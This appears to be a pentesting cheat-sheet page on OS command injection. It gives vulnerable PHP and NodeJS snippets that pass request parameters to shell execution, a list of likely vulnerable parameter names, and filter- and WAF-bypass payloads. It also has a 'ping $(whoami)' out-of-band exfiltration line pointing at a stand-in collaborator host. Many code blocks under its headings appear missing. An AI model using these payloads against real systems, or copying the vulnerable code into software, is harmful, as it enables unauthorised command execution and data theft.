Comma Injection
PHP Example
exec, system, shell_exec, passthru, or popen functions to execute commands
<?php
if (isset($_GET['filename'])) {
system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>NodeJS Example
child_process.exec or child_process.spawn
app.get("/createfile", function(req, res){
child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})Vulnerable Parameters
Top 25 parameters that could be vulnerable
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}Detection
Confirm with time command
Basic Payloads
Bypassing Front-End Validation
Intercept and add input
AND Operator
URL-encoding it - see Detection Table or Use Burp
%26%26
OR Operator
%7c%7c - see Detection Table or Use Burp
Execution if the first command fail
Operators
Blind OS Command Injection
Detection
ping $(whoami).collaborator_server_dot_com
Reverse shell
Blind OS command injection - Redirect output
Blind OS command injection - out of band OAST
Detection
Exfiltration
WAF
If the error message displayed a different page, with information like our IP and our request, this may indicate that it was denied by a WAF.
Blacklisted Characters
Identifying Blacklisted Character
One at a time: 127.0.0.1; - Use URL encoding
Bypassing Space Filters
Bypass Blacklisted Operators
The new-line character is usually not blacklisted, as it may be needed in the payload itself
Bypass Blacklisted Spaces
127.0.0.1%0a whoami
A space is a commonly blacklisted character, especially if the input should not contain any spaces
Using Tabs
Using tabs (%09) instead of spaces is a technique that may work
127.0.0.1%0a%09
Using $IFS
127.0.0.1%0a${IFS}
Using Brace Expansion
127.0.0.1%0a{ls,-la}
More space filter bypass:
Bypassing Other Blacklisted Characters
Linux
One technique we can use for replacing slashes (or any other character) is through Linux Environment Variables
127.0.0.1; ls /home
RS Socat
semi-colon character
semi-colon and a space
127.0.0.1${LS_COLORS:10:1}${IFS}
Windows
slash - cmd:
slash - powershell
Character Shifting
slash
semi-colon
Bypassing Blacklisted Commands
Commands Blacklist
Linux & Windows
127.0.0.1%0aw'h'o'am'i
cat - Invalid Input
127.0.0.1%0a%09c'a't%09${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt
Linux Only
backslash \ and the positional parameter character $@ are ignored
Try the above two examples in your payload, and see if they work in bypassing the command filter. If they do not, this may indicate that you may have used a filtered character. Would you be able to bypass that as well, using the techniques we learned in the previous section?
Windows Only
caret (^)
Advanced Command Obfuscation
Case Manipulation
WHOAMI => WhOaMi
Replace space (blacklisted) with %09
Reversed Commands
If you wanted to bypass a character filter with the above method, you'd have to reverse them as well, or include them when reversing the original command.
Encoded Commands
Tip: Note that we are using <<< to avoid using a pipe |, which is a filtered character.
Replace space (blacklisted) with %09
Even if some commands were filtered, like bash or base64, we could bypass that filter with the techniques we discussed in the previous section (e.g., character insertion), or use other alternatives like sh for command execution and openssl for b64 decoding, or xxd for hex decoding.
More Technique
Obfuscated Commands
List of commands obfuscated as wordlist to test possible WAF filter bypass:
List from payloadallthethings (with some change)
Fuzzing - Cluster bomb
List Detection
List Obfuscated Commands
cluster bomb
Payload 1 - set to detection list
Payload 2 - set to obfuscated command
Evasion Tools
Linux (Bashfuscator)
Windows (DOSfuscation)
Tip: If we do not have access to a Windows VM, we can run the above code on a Linux VM through pwsh. Run pwsh, and then follow the exact same command from above.
Payloads
Tools
Interesting Books
Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
The Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
Last updated